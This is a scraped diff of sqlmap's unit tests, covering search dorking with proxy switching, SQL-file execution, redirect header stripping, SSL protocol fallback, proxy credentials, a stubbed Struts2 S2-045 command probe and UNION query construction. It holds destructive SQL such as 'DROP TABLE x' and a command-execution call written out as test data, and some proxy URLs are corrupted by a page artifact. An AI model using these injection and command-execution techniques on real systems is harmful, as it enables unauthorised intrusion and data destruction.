smod._search("dork")
|
||||
self.assertEqual(self.requested[0][1], "q=dork&s=%d" % offset)
|
||||
|
||||
def test_abuse_page_switches_proxy(self):
|
||||
# Note: without '--proxy-list' there is nothing to switch to, hence no exception
|
||||
for marker in SEARCH_ABUSE_MARKERS:
|
||||
self._pages("<html>%s</html>" % marker)
|
||||
conf.proxyList = None
|
||||
self.assertEqual(smod._search("dork"), [])
|
||||
|
||||
self._pages("<html>%s</html>" % marker)
|
||||
conf.proxyList = ["http://127.0.0.1:8080"]
|
||||
self.assertRaises(SqlmapBaseException, smod._search, "dork")
|
||||
|
||||
def test_results_page_is_not_mistaken_for_abuse(self):
|
||||
self._pages(DUCKDUCKGO_PAGE)
|
||||
conf.proxyList = ["http://127.0.0.1:8080"]
|
||||
self.assertEqual(smod._search("dork"), ["https://www.example.com/b.php?id=2"])
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -76,6 +76,17 @@ class _CaptureCase(unittest.TestCase):
|
||||
|
||||
|
||||
class TestStringAndLister(_CaptureCase):
|
||||
def test_audit_output(self):
|
||||
self.d.audit(["xp_cmdshell: disabled", "CLR integration: unavailable"])
|
||||
self.assertIn("database security audit [2]", self.text())
|
||||
self.assertIn("xp_cmdshell: disabled", self.text())
|
||||
self.assertIn("CLR integration: unavailable", self.text())
|
||||
|
||||
def test_links_output(self):
|
||||
self.d.links(["remote -> db.example"])
|
||||
self.assertIn("database links [1]", self.text())
|
||||
self.assertIn("remote -> db.example", self.text())
|
||||
|
||||
def test_string_scalar_quoted(self):
|
||||
# a plain string fact is rendered as "header: 'value'"
|
||||
self.d.string("current user", "root@localhost")
|
||||
|
||||
@@ -21,8 +21,10 @@ prompts non-interactive, and conf.dumper is a recording stub. Every test restore
|
||||
all touched conf.* / kb.* / patched module attributes in tearDown so nothing leaks.
|
||||
"""
|
||||
|
||||
import io
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
@@ -39,6 +41,7 @@ import plugins.generic.entries as emod
|
||||
import plugins.generic.custom as cmod
|
||||
import plugins.generic.misc as mmod
|
||||
import plugins.generic.takeover as tmod
|
||||
import lib.core.common as common
|
||||
from plugins.generic.custom import Custom
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
@@ -250,38 +253,69 @@ class TestCustomSqlQuery(_GenericBase):
|
||||
|
||||
|
||||
class TestCustomSqlFile(_GenericBase):
|
||||
def test_sqlfile_select_snippets(self):
|
||||
set_dbms("MySQL")
|
||||
c = Custom()
|
||||
cmod.inject.getValue = lambda query, **k: "r"
|
||||
def _runSqlFile(self, content, suffix=".sql"):
|
||||
handle, filename = tempfile.mkstemp(suffix=suffix)
|
||||
os.close(handle)
|
||||
self.addCleanup(os.unlink, filename)
|
||||
with io.open(filename, "w", encoding="utf-8", newline="") as f:
|
||||
f.write(content)
|
||||
|
||||
# getSQLSnippet reads from disk; patch it to return inline SQL.
|
||||
saved = cmod.getSQLSnippet
|
||||
try:
|
||||
cmod.getSQLSnippet = lambda dbms, filename, **kw: "SELECT 1;SELECT 2"
|
||||
conf.sqlFile = "dummy.sql"
|
||||
c.sqlFile()
|
||||
# two SELECT statements => two recorded dumper.sqlQuery calls
|
||||
self.assertEqual(len(conf.dumper.sqlQueries), 2)
|
||||
finally:
|
||||
cmod.getSQLSnippet = saved
|
||||
set_dbms("MySQL")
|
||||
cmod.inject.getValue = lambda query, **k: "r"
|
||||
conf.sqlFile = filename
|
||||
Custom().sqlFile()
|
||||
return [query for query, output in conf.dumper.sqlQueries]
|
||||
|
||||
def test_sqlfile_select_snippets(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 1; SELECT 2;\n"), ["SELECT 1", "SELECT 2"])
|
||||
|
||||
def test_sqlfile_nonselect_snippet(self):
|
||||
set_dbms("MySQL")
|
||||
conf.direct = True
|
||||
c = Custom()
|
||||
cmod.inject.goStacked = lambda *a, **k: None
|
||||
self.assertEqual(self._runSqlFile(u"DROP TABLE x"), ["DROP TABLE x"])
|
||||
|
||||
saved = cmod.getSQLSnippet
|
||||
def test_sqlfile_preserves_percent_tokens_without_prompting(self):
|
||||
saved = common.readInput
|
||||
try:
|
||||
cmod.getSQLSnippet = lambda dbms, filename, **kw: "DROP TABLE x"
|
||||
conf.sqlFile = "dummy.sql"
|
||||
c.sqlFile()
|
||||
# non-SELECT => single recorded call with the whole snippet
|
||||
self.assertEqual(len(conf.dumper.sqlQueries), 1)
|
||||
self.assertEqual(conf.dumper.sqlQueries[0][0], "DROP TABLE x")
|
||||
common.readInput = lambda *a, **k: self.fail("user SQL must not request template substitutions")
|
||||
query = u"SELECT DATE_FORMAT(NOW(), '%m%m'), '%RANDSTR1%', '%RANDINT1%'"
|
||||
self.assertEqual(self._runSqlFile(query), [query])
|
||||
finally:
|
||||
cmod.getSQLSnippet = saved
|
||||
common.readInput = saved
|
||||
|
||||
def test_sqlfile_preserves_hash_and_quoted_delimiters(self):
|
||||
first = u"SELECT '#keep; value', 'it''s; quoted', \"semi; colon\""
|
||||
self.assertEqual(self._runSqlFile(first + u"; SELECT 2;"), [first, "SELECT 2"])
|
||||
|
||||
def test_sqlfile_preserves_multiline_literal(self):
|
||||
query = u"SELECT 'a;\n b'"
|
||||
self.assertEqual(self._runSqlFile(query), [query])
|
||||
|
||||
def test_sqlfile_preserves_crlf_literal(self):
|
||||
query = u"SELECT 'a;\r\n b'"
|
||||
self.assertEqual(self._runSqlFile(query + u";\r\nSELECT 2;"), [query, "SELECT 2"])
|
||||
|
||||
def test_sqlfile_newline_separated_selects(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 'a;b'\nSELECT 2\n"), ["SELECT 'a;b'", "SELECT 2"])
|
||||
|
||||
def test_sqlfile_multiline_select(self):
|
||||
query = u"SELECT name\nFROM users"
|
||||
self.assertEqual(self._runSqlFile(query), [query])
|
||||
|
||||
def test_sqlfile_preserves_mixed_batch(self):
|
||||
batch = u"UPDATE users SET name='#keep; value';\nSELECT name FROM users;"
|
||||
executed = []
|
||||
cmod.inject.goStacked = lambda query, **k: executed.append(query)
|
||||
self.assertEqual(self._runSqlFile(batch), [batch])
|
||||
self.assertEqual(executed, [batch.rstrip(';')])
|
||||
|
||||
def test_sqlfile_arbitrary_extension(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 1", suffix=".txt"), ["SELECT 1"])
|
||||
|
||||
def test_sqlfile_without_extension(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 1", suffix=""), ["SELECT 1"])
|
||||
|
||||
def test_sqlfile_empty(self):
|
||||
self.assertEqual(self._runSqlFile(u" \n;\n "), [])
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
@@ -699,6 +699,17 @@ class TestRedirectHandling(unittest.TestCase):
|
||||
self.assertEqual(calls[0][1], 8443)
|
||||
self.assertEqual(calls[0][4], "xn--tst-qla.example:8443")
|
||||
|
||||
def test_cross_origin_redirect_strips_custom_auth_headers(self):
|
||||
responses = [(307, [(b"location", b"https://other.test/final")], b""), (200, [], b"ok")]
|
||||
_, calls = self._run_with_fake_exchange(
|
||||
responses, url="https://example.test/start",
|
||||
headers={"X-Auth-Token": "secret", "X-Keep": "yes"},
|
||||
sensitive_headers=("X-Auth-Token",),
|
||||
)
|
||||
names = [key.lower() for key, _ in calls[1][5]]
|
||||
self.assertNotIn("x-auth-token", names)
|
||||
self.assertIn("x-keep", names)
|
||||
|
||||
|
||||
class TestPoolRetries(unittest.TestCase):
|
||||
class _Connection(object):
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Unit tests for lib/request/httpshandler.py, exercising the SSL protocol
|
||||
candidate selection.
|
||||
|
||||
No network is involved: the module is reimported with chosen ssl.PROTOCOL_*
|
||||
constants removed, mimicking OpenSSL builds that have those protocol versions
|
||||
compiled out (e.g. OPENSSL_NO_TLS1), as the constants are conditional there.
|
||||
"""
|
||||
|
||||
import os
|
||||
import ssl
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf
|
||||
import lib.request.httpshandler as hmod
|
||||
from thirdparty.six.moves import reload_module as _reload_module
|
||||
|
||||
class TestProtocolSelection(unittest.TestCase):
|
||||
def tearDown(self):
|
||||
hmod.socket.create_connection = self._createConnection
|
||||
hmod.ssl.SSLContext = self._sslContext
|
||||
hmod._contexts.clear()
|
||||
|
||||
for name, value in self._removed.items():
|
||||
setattr(ssl, name, value)
|
||||
_reload_module(hmod)
|
||||
|
||||
def _reload_without(self, *names):
|
||||
"""Reloads the module with `names` missing from ssl (as on builds lacking those protocols)"""
|
||||
|
||||
self._removed = {}
|
||||
self._createConnection = hmod.socket.create_connection
|
||||
self._sslContext = hmod.ssl.SSLContext
|
||||
|
||||
for name in names:
|
||||
if hasattr(ssl, name):
|
||||
self._removed[name] = getattr(ssl, name)
|
||||
delattr(ssl, name)
|
||||
|
||||
_reload_module(hmod)
|
||||
|
||||
return [hmod._lut.get(_, _) for _ in hmod._protocols if _ in hmod._tlsProtocols]
|
||||
|
||||
def test_only_tls_protocols_are_used_with_sni(self):
|
||||
# Note: SSL era protocols stay in _protocols for the non-SNI fallback, but carry no server_hostname
|
||||
selected = self._reload_without()
|
||||
self.assertTrue(selected)
|
||||
for name in ("PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"):
|
||||
if hasattr(ssl, name):
|
||||
self.assertIn(getattr(ssl, name), hmod._protocols)
|
||||
self.assertNotIn(getattr(ssl, name), hmod._tlsProtocols)
|
||||
|
||||
def test_missing_tlsv1_does_not_raise(self):
|
||||
# Note: ssl.PROTOCOL_TLSv1 is compiled in only '#ifndef OPENSSL_NO_TLS1' (used to raise an AttributeError here)
|
||||
selected = self._reload_without("PROTOCOL_TLSv1")
|
||||
self.assertTrue(selected)
|
||||
self.assertNotIn("PROTOCOL_TLSv1", selected)
|
||||
|
||||
def test_missing_all_legacy_tls_does_not_raise(self):
|
||||
selected = self._reload_without("PROTOCOL_TLSv1", "PROTOCOL_TLSv1_1")
|
||||
self.assertTrue(selected)
|
||||
self.assertNotIn("PROTOCOL_TLSv1_1", selected)
|
||||
|
||||
def test_connect_without_tlsv1(self):
|
||||
"""Drives the real connect() loop, which used to reference ssl.PROTOCOL_TLSv1 directly"""
|
||||
|
||||
selected = self._reload_without("PROTOCOL_TLSv1")
|
||||
|
||||
conf.host = None
|
||||
conf.httpHeaders = []
|
||||
|
||||
class _Context(object):
|
||||
def __init__(self, protocol):
|
||||
self.protocol = protocol
|
||||
|
||||
def set_ciphers(self, _):
|
||||
pass
|
||||
|
||||
def wrap_socket(self, sock, **kwargs):
|
||||
return "wrapped:%s" % hmod._lut.get(self.protocol, self.protocol)
|
||||
|
||||
connection = hmod.HTTPSConnection("example.com", 443)
|
||||
|
||||
# Note: stubbed only after the instantiation, as that one resolves the default context through ssl itself
|
||||
hmod.socket.create_connection = lambda *args, **kwargs: _Socket()
|
||||
hmod.ssl.SSLContext = _Context
|
||||
hmod._contexts.clear()
|
||||
|
||||
connection.connect()
|
||||
|
||||
self.assertEqual(connection.sock, "wrapped:%s" % selected[0])
|
||||
|
||||
class _Socket(object):
|
||||
def close(self):
|
||||
pass
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -1646,5 +1646,50 @@ class TestNonSqlTechniqueRegistry(unittest.TestCase):
|
||||
self.assertEqual(optDict["Techniques"].get(name), "boolean", name)
|
||||
|
||||
|
||||
class TestSetHTTPHandlersProxyCredentials(unittest.TestCase):
|
||||
"""_setHTTPHandlers(): credentials embedded in the proxy URL (dropped for HTTP(S) and left
|
||||
URL-encoded for SOCKS ever since the fix for #5875). Global state (shared proxy handler,
|
||||
installed opener, SOCKS hooks) is pinned, so nothing leaks into other modules."""
|
||||
|
||||
_KEYS = ("proxy", "proxyCred", "proxyList", "hostname", "ignoreProxy", "cj", "keepAlive")
|
||||
|
||||
def setUp(self):
|
||||
from _testutils import save_attrs
|
||||
|
||||
self._socks = []
|
||||
self._saved = save_attrs(option.socks, "setdefaultproxy", "wrapmodule", "unwrapmodule")
|
||||
self._saved += save_attrs(option.proxyHandler, "proxies", "http_open", "https_open")
|
||||
self._saved += save_attrs(option._urllib.request, "install_opener")
|
||||
|
||||
option.socks.setdefaultproxy = lambda *args, **kwargs: self._socks.append((kwargs.get("username"), kwargs.get("password")))
|
||||
option.socks.wrapmodule = option.socks.unwrapmodule = lambda *args: None
|
||||
option._urllib.request.install_opener = lambda *args: None
|
||||
|
||||
def tearDown(self):
|
||||
from _testutils import restore_attrs
|
||||
|
||||
restore_attrs(self._saved)
|
||||
|
||||
def _run(self, proxy, proxyCred=None):
|
||||
with _preserve(conf, *self._KEYS), _preserve(kb, "proxies"):
|
||||
conf.proxy, conf.proxyCred, conf.proxyList = proxy, proxyCred, None
|
||||
option._setHTTPHandlers()
|
||||
return (kb.proxies or {}).get("http")
|
||||
|
||||
def test_http_url_credentials(self):
|
||||
# Note: kept URL-encoded, as urllib decodes them itself when building 'Proxy-Authorization'
|
||||
self.assertEqual(self._run("http://user:p%40s[email protected]:8080"), "user:p%40s[email protected]:8080")
|
||||
|
||||
def test_proxy_cred_takes_precedence(self):
|
||||
self.assertEqual(self._run("http://user:p%40s[email protected]:8080", "other:pw"), "other:[email protected]:8080")
|
||||
|
||||
def test_http_without_credentials(self):
|
||||
self.assertEqual(self._run("http://127.0.0.1:8080"), "127.0.0.1:8080")
|
||||
|
||||
def test_socks_url_credentials_decoded(self):
|
||||
self._run("socks5://user:p%40s[email protected]:1080")
|
||||
self.assertEqual(self._socks, [("user", "p@ss")])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
@@ -827,3 +827,7 @@ class TestStruts2Header(unittest.TestCase):
|
||||
# so no start/end marker is found -> no fabricated 'output'
|
||||
ssti._s2045Send = lambda url, action: "reflected: %s" % action
|
||||
self.assertIsNone(ssti._executeStruts2Header("http://target", "id"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
@@ -112,6 +112,34 @@ class TestOrderByColumnCount(unittest.TestCase):
|
||||
self.assertEqual(self._detect(25), 25)
|
||||
|
||||
|
||||
class TestNestedOrderBy(unittest.TestCase):
|
||||
def test_union_preserves_ordering_inside_limited_subquery_and_literals(self):
|
||||
original_init = uu.initTechnique
|
||||
original_use = uu._oneShotUnionUse
|
||||
saved_json = kb.get('jsonAggMode')
|
||||
saved_run = kb.get('partRun')
|
||||
set_dbms('Oracle')
|
||||
captured = []
|
||||
def capture(query, *args, **kwargs):
|
||||
captured.append(query)
|
||||
raise RuntimeError('stop after query construction')
|
||||
uu.initTechnique = lambda *args: None
|
||||
uu._oneShotUnionUse = capture
|
||||
try:
|
||||
for inner, outer in (('ORDER BY', 'ORDER BY'), ('Order By', 'order by')):
|
||||
query = "SELECT a,b FROM (SELECT a,'ORDER BY literal' AS b FROM t %s a,b) x WHERE ROWNUM<=20 %s a" % (inner, outer)
|
||||
with self.assertRaises(RuntimeError):
|
||||
uu.unionUse(query)
|
||||
self.assertIn('FROM t %s a,b)' % inner, captured[-1])
|
||||
self.assertIn("'ORDER BY literal'", captured[-1])
|
||||
self.assertFalse(captured[-1].rstrip().endswith('%s a' % outer))
|
||||
finally:
|
||||
uu.initTechnique = original_init
|
||||
uu._oneShotUnionUse = original_use
|
||||
kb.jsonAggMode = saved_json
|
||||
kb.partRun = saved_run
|
||||
|
||||
|
||||
class TestMssqlJsonAggFalsyValues(unittest.TestCase):
|
||||
"""Regression: MSSQL UNION dumps use FOR JSON (jsonAggMode), whose output carries native JSON
|
||||
types. A real 0 / '' / false is a value; only JSON null is SQL NULL. The old `row.get(field) or
|
||||
|
||||
@@ -557,3 +557,7 @@ class TestRealXPathSyntax(unittest.TestCase):
|
||||
self.fail("Boundary '%s' in '%s' with orig='%s' invalid: %s\n payload: %s" % (bk, tkey, original, e, payload))
|
||||
self.assertIsInstance(count, int,
|
||||
"Boundary '%s' in '%s' produced no count" % (bk, tkey))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
Reference in new issue
Block a user